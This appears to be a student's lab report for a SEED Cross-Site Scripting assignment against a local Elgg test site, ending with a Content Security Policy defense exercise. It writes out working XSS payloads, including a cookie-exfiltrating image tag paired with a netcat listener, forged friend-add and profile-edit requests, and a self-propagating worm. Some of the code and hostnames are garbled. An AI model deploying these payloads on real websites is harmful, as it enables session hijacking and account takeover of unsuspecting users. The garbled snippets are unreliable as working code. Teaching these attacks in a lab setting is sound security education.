

Assignment 8: Cross-Site Scripting (XSS) Attack  
Lab Report

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## **Task 1: Posting a Malicious Message to Display an Alert Window**

For this task we only embed the Javascript code in the Brief description section so that whoever visits the profile will get an alert.

Approach 1: Login into Charlie's profile -> Edit Profile -> write  
`<script>alert('XSS');</script>` -> save

After saving it, the alert window popped up which means the code successfully executed.

Approach 2: We will save the code `alert('XSS')` in `myscripts.js`. We will then copy the to `/var/www/html`

Then we will type the following code in samy's Brief description.

```
<script type="text/javascript"
src="http://www.example.com/myscripts.js">
</script>
```

After saving we notice the alert window.

To check if any visitor could see it or not, we login as Alice -> Go to her Members page -> click on Samy

We notice an alert window saying “Attack!!!”

**Display name**  
Charlie

**About me**

[Edit HTML](#)


**B I U Tx S**

**Public**

**Brief description**

```
<script>alert('XSS');</script>
```

**Public**

  
www.xsslabeLgg.com/profile/charlie Your profile was successfully saved.  
XSS OK  
Add widgets  
Edit profile  
Read www.xsslabeLGG.com

**Edit profile : XSS Lab Site - Mozilla Firefox**

localhost/myscript.js | Add-ons Manager

www.xsslabeled.com/profile/samy/edit

Public

**Brief description**

```
<script type="text/javascript" src="http://localhost/myscript.js"> </script>
```

Public

**Location**

Public

**XSS Lab Site**

Your profile was successfully saved.

Attack!!!

OK

Transferring data from localhost...

The screenshot shows a Firefox browser window with the title "Edit profile : XSS Lab Site - Mozilla Firefox". The address bar displays "localhost/myscript.js" and "www.xsslabeled.com/profile/samy/edit". The main content area shows a form for editing a profile, with a "Brief description" field containing the XSS payload "<script type='text/javascript' src='http://localhost/myscript.js'> </script>". Below the form, there's a "Location" section. The browser's status bar at the bottom shows "Transferring data from localhost...". In the background, the XSS Lab Site is visible with a success message "Your profile was successfully saved." and an "Attack!!! OK" alert dialog. A sidebar on the left contains various icons, likely for other browser tabs or extensions.

The screenshot shows a web browser window with the URL [www.xsslabelgg.com/members](http://www.xsslabelgg.com/members). The page title is "Newest members". Below the title are four filter buttons: "Newest", "Alphabetical", "Popular", and "Online". A list of users follows:

- Samy
- Charlie
- Boby
- Alice
- Admin

The browser's sidebar on the left contains icons for various applications, including a file manager, terminal, and system settings.

The screenshot shows a Firefox browser window titled "Samy : XSS Lab Site - Mozilla Firefox". The address bar shows the URL [www.xsslabelgg.com/profile/samy](http://www.xsslabelgg.com/profile/samy). A terminal window is visible in the background with the command `[04/06/21]seed@VM:~/Documents$ cd /var/www/`.

The main content of the browser shows an "XSS Lab Site" with a banner image of a person working on a computer. A modal dialog box is displayed with the text "Attack!!!". In the top right corner of the browser window, there is a notification bubble from the operating system stating "Battery Low" and "8% charge remaining" with "OK" and "Battery settings" buttons.

The browser's sidebar on the left contains icons for various applications, including a file manager, terminal, and system settings.

## Task 2: Posting a Malicious Message to Display Cookies


To see the cookies in the alert window we login as samy -> type  
`<script>alert(document.cookie);</script>` -> save the changes



We immediately could see the cookies.


Now, we login as Alice -> Go to her Members page -> click on Samy

Alice could see the cookies too.

Hence, we successfully displayed cookies through Javascript code.







### **Task 3: Stealing Cookies from the Victim's Machine**

To see the victim's cookies, we need to use an HTTP request. The cookies will be appended with the request. We will achieve this via. Img tag in the src.

we login as samy Attacker -> type the following code:

```
<script>document.write('<img src=http://localhost:5555?c='
+ escape(document.cookie) + '>');
</script>
```

-> save the changes

The attacker is at port 5555. It's machine is the localhost(since we are working on one VM).

Next, open terminal -> execute nc -l 5555 -v to listen at the attacker side

Login as Alice -> go to her Members page -> clicks on Samy's profile  
Samy checks the terminal -> he could see all the session details including cookies

Edit profile : XSS Lab Site - Mozilla Firefox

Edit profile : XSS Lab Site +


www.xsslabelgg.com/profile/sam

Public

Brief description

```
<script>document.write('<img src=http://localhost:5555?c=' + escape(document.cookie) + ' >');
```

Public



Newest members : XSS Lab Site - Mozilla Firefox

Newest members : XSS Lab Site download echoserv.t localhost/myscripts.js

www.xsslabelgg.com/members

Text Editor Account »

# XSS Lab Site


## Newest members


Newest Alphabetical Popular Online

Samy

Charlie

Boby





#### **Task 4: Becoming the Victim's Friend**

Before creating the malicious code of adding someone as a friend, we will check the structure of a GET request.

Login as Charlie -> go to boby's account and add him as a friend -> to Web Developer -> Click on Network -> check the GET request header -> check the Request URL format

Now, to do the real attack, we fill in the following in the code that's given to us

```
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=47" + ts  
+ token;
```


Then we will add the entire code in Samy's About me section's text mode.

To check out attack's legitimacy:

Login to Alice's account -> Confirm that she is not friend with anyone -> Go to Samy's profile -> then return

We could see in Alice's activity that Samy is not her friend.

Then, login back to Samy's account -> Go to his profile -> Alice is added in her friend list



Display name

Samy

About me

Visual editor

```
<script>
window.onload = function(){
var Ajax=null;
var ts+"&_elgg_ts="+elgg.security.token._elgg_ts;
var token+"&_elgg_token="+elgg.security.token._elgg_token;
var sendurl="http://www.xsslabeledgg.com/action/friends/add?friend=47"+ts+token;
var content=token+ts+name+desc+guid;
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabeledgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
}
```

Public

Brief description

Public

Alice : XSS Lab Site - Mozilla Firefox

8:19 PM

Alice : XSS Lab Site

www.xsslabeled.com/profile/alice

Edit profile

Edit avatar

Blogs

Bookmarks

Files

Pages


Wire posts

Friends

No friends yet.

Samy is now a friend with Alice 2 minutes ago





**Answer to Question1:** \_\_elgg\_token and \_\_elgg\_ts are tokens of the visitors required to authenticate the request. After successful authentication the server allows the request to be executed.

**Answer to Question2:** If the code is not placed in text mode then the attack cannot be a success.



[Edit profile](#)

[Edit avatar](#)

Blogs

Bookmarks

Files

Pages

## Samy

### About me

```
<script>
window.onload = function () {
    var Ajax=null;

    var ts+"&__elgg_ts="+elgg.security.token.__elgg_ts;
    var token+"&
__elgg_token="+elgg.security.token.__elgg_token;

    //Construct the HTTP request to add Samy as a
friend.
    var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=47" + ts + token;

    //Create and send Ajax request to add friend
    Ajax=new XMLHttpRequest();
    Ajax.open("GET",sendurl,true);

    Ajax.setRequestHeader("Host","www.xsslabelgg.com"
```

## Task 5: Modifying the Victim's Profile


This is a POST request attack.

First we need to check a legitimate POST request using the HTTP Header Live tool.

Then, we select the cookies and content of Samy-> go to Samy's profile -> open the About me section in text mode -> add it in our Javascript code's content section along with "Samy is my hero" in the description -> initialize samy's guid as 47 -> save the changes.

Nothing shows up in Samy's About me in his profile.

Now, we will go to Boby's account ->->confirm that his profile has no About me -> click on samy's profile -> come back and can see that Boby's About me is changed to "Samy is my hero".



S 3:56 PM

Edit profile : XSS Lab Site +

www.xsslabe...com/profile/samy/edit

## Edit profile

Display name

Samy

About me

Visual editor

```
//Construct the content of your url
var content=token+ +ts+ name+ "&description=<p>Samy is my hero.</p>
&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&
accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&
contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&
accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2&guid=" + guid;

var samyGuid=47;
if(elgg.session.user.guid!=samyGuid)
```

Public

# XSS Lab Site

Add widgets



Samy

About me

The image shows two screenshots of a web application interface titled "XSS Lab Site".


**Screenshot 1:** The user profile for "Boby". The profile picture is a toy figure of Bob the Builder. Below the picture is a button labeled "Edit profile". In the top right corner of the main content area, there is a "Add widgets" button.

**Screenshot 2:** The user profile for "Boby" after modification. The profile picture remains the same. Below it, the "About me" section has been updated with the text "Samy is my hero". The "Edit profile" button is also present here.

A vertical sidebar on the left contains several icons: a document with a pencil, a person icon, an envelope icon, a gear icon, a red square icon, a folder icon, a blue square icon, a Firefox icon, a wrench and gear icon, and a trash can icon.

**Answer for Question 3:** We need 1 to check if the user is samy is not. If not then make a POST request and change its profile whenever the user visit's Samy's profile.

But, if we remove 1, then Samy's About Me is updates to "Samy is my hero".



## Task 6: Writing a Self-Propagating XSS Worm

In this task we have followed the DOM approach where not only the one who visits the attacker's profile is infected but also whoever visits the infected user's account is too affected with the worm.

To achieve the self-propagating XSS worm,

We copy the following code and it our previous code :

```
<script id=worm>
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
alert(jsCode);
</script>
```

Then, we login as Charlie -> confirm his profile has no About me -> go to samy's profile -> return and can see that About me section is added as "Samy is my hero".

To check the codes self-propagating nature, we login as Alice -> confirm her profile has no About me -> go to Charlie's profile -> return and can see that About me section is added as "Samy is my hero".

To confirm the code's virality, we click on Alice's edit profile and see that her About me has same code as Samy's.

Firefox Web Browser

Sublime Text (UNREGISTERED)

Edit profile : XSS Lab Site - Mozilla Firefox

Edit profile : XSS Lab Site localhost/myscript.js Add-ons Manager www.xsslablegg.com/profile/samy/edit

Edit profile

Display name: Samy

About me:


```
<script type="text/javascript" id="worm">
window.onload = function(){
var headerTag = "<script id='worm' type='text/javascript'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var descr = "&description=Samy is my hero" + wormCode;
```

Visual editor

Public

Brief description

The screenshot shows a Firefox browser window with an XSS exploit attempt. The title bar reads "Edit profile : XSS Lab Site - Mozilla Firefox". The address bar shows "localhost/myscript.js". The main content area displays an "Edit profile" form. In the "Display name" field, the value "Samy" is entered. Under the "About me" section, there is a large block of JavaScript code. A "Visual editor" button is visible next to the code. Below the code, there is a dropdown menu set to "Public". At the bottom, there is a "Brief description" field which is empty.



Firefox Web Browser

8:11 PM

Newest members : XSS Lab Site - Mozilla Firefox

localhost/myscript.js Add-ons Manager

www.xsslabeled.com/members

# XSS Lab Site


## Newest members


Newest    Alphabetical    Popular    Online


-  [Samy](#)
-  [Charlie](#)
-  [Boby](#)
-  [Alice](#)

[www.xsslabeled.com/profile/samy](http://www.xsslabeled.com/profile/samy)









## Task 7: Defeating XSS Attacks Using CSP

DNS setup:

We add the following URLs in /etc/hosts using root privilege

127.0.0.1 www.example32.com

127.0.0.1 www.example68.com

127.0.0.1 [www.example79.com](http://www.example79.com)

Part 1: we make the python file http\_server.py executable  
And can observe that its running.

Then we type the following URLs one by one

<http://www.example32.com:8000/csptest.html>

<http://www.example68.com:8000/csptest.html>


<http://www.example79.com:8000/csptest.html>

We observe that in each URL some get executed as OK and some areas failed because in the csptest.html, only the JavaScript code satisfying the conditions can be executed: from the same origin, from example 68.com, or has as nonce 1rA2345 .

But we notice that example79 also executed as OK because it is recognized as an inner /self in the code.

Part2: to make 1,2,4,5, and ,6 executed as OK we add the following piece of code in server program:

'nonce-2rB3333' \*.example79.com:8000



The screenshot shows a Linux desktop environment with several icons in the dock, including a terminal, a file manager, and a browser. A terminal window is open with the following content:


```
1 127.0.0.1 localhost
2 127.0.1.1 VM
3
4 # The following lines are desirable for IPv6 capable hosts
5 ::1 ip6-localhost ip6-loopback
6 fe00::0 ip6-localnet
7 ff00::0 ip6-mcastprefix
8 ff02::1 ip6-allnodes
9 ff02::2 ip6-allrouters
10 127.0.0.1 User
11 127.0.0.1 Attacker
12 127.0.0.1 Server
13 127.0.0.1 www.SeedLabSQLInjection.com
14 127.0.0.1 www.xsslabelgg.com
15 127.0.0.1 www.csrflabelgg.com
16 127.0.0.1 www.csrflabattacker.com
17 127.0.0.1 www.repackagingattacklab.com
18 127.0.0.1 www.seedlabclickjacking.com
19 127.0.0.1 www.example32.com
20 127.0.0.1 www.example68.com
21 127.0.0.1 www.example79.com
22
```


Below the terminal is a code editor window titled "http\_server.py" with the following Python code:


```
1 #!/usr/bin/env python3
2
3 from http.server import HTTPServer, BaseHTTPRequestHandler
4 from urllib.parse import *
5
6 class MyHTTPRequestHandler(BaseHTTPRequestHandler):
7     def do_GET(self):
8         o = urlparse(self.path)
9         f = open("." + o.path, 'rb')
10        self.send_response(200)
11        self.send_header('Content-Security-Policy',
12                         "default-src 'self';"
13                         "script-src 'self' *.example68.com:8000 'nonce-1rA2345' ")
14        self.end_headers()
15        self.wfile.write(f.read())
16        f.close()
17
18 httpd = HTTPServer(('127.0.0.1', 8000), MyHTTPRequestHandler)
19 httpd.serve_forever()
20
21
```

~/Documents/Lab/csptest.html - Sublime Text (UNREGISTERED)

```
|<html>
2 <h2>CSP Test</h2>
3 <p>1. Inline: CorrectNonce: <span id='area1'>Failed</span></p>
4 <p>2. Inline: WrongNonce: <span id='area2'>Failed</span></p>
5 <p>3. Inline: NoNonce: <span id='area3'>Failed</span></p>
6 <p>4. Fromself: <span id='area4'>Failed</span></p>
7 <p>5. Fromexample68.com: <span id='area5'>Failed</span></p>
8 <p>6. Fromexample79.com: <span id='area6'>Failed</span></p>
9
10 <script type="text/javascript" nonce="1rA2345">
11 document.getElementById('area1').innerHTML = "OK";
12 </script>
13
14 <script type="text/javascript" nonce="2rB3333">
15 document.getElementById('area2').innerHTML = "OK";
16 </script>
17
18 <script type="text/javascript">
19 document.getElementById('area3').innerHTML = "OK";
20 </script>
21
22 <script src="script1.js"> </script>
23 <script src="http://www.example68.com:8000/script2.js"> </script>
24 <script src="http://www.example79.com:8000/script3.js"> </script>
25
26 <button onclick="alert('hello')">Click me</button>
27
28
29
```









A screenshot of a Linux desktop environment, likely Ubuntu, showing a terminal window. The terminal window has a dark grey header bar with various icons for system status and a date/time indicator (10:05 PM). Below the header is a tab bar with two tabs: "http\_server.py" and "csptest.html". The main area of the terminal shows a Python script named "http\_server.py". The script contains code for a web server, including imports from "http.server" and "socketserver", and defines a class "MyHTTPRequestHandler" that inherits from "BaseHTTPRequestHandler" and "HTTPRequestHandler". The code includes a "Security-Policy" header and a "Content-Security-Policy" directive. The script ends with a call to "httpd.serve\_forever()". The bottom of the terminal window displays status information: "Line 13, Column 74", "Spaces: 2", and "Python".

```
1
2
3 r, BaseHTTPRequestHandler
4
5
6 HTTPRequestHandler):
7
8
9
10
11 'Security-Policy',
12
13 'example68.com:8000 'nonce-1rA2345' 'nonce-2rB3333' *.example79.com:8000 ")
14 'e', 'text/html')
15
16
17
18
19 5000), MyHTTPRequestHandler)
20
21
```

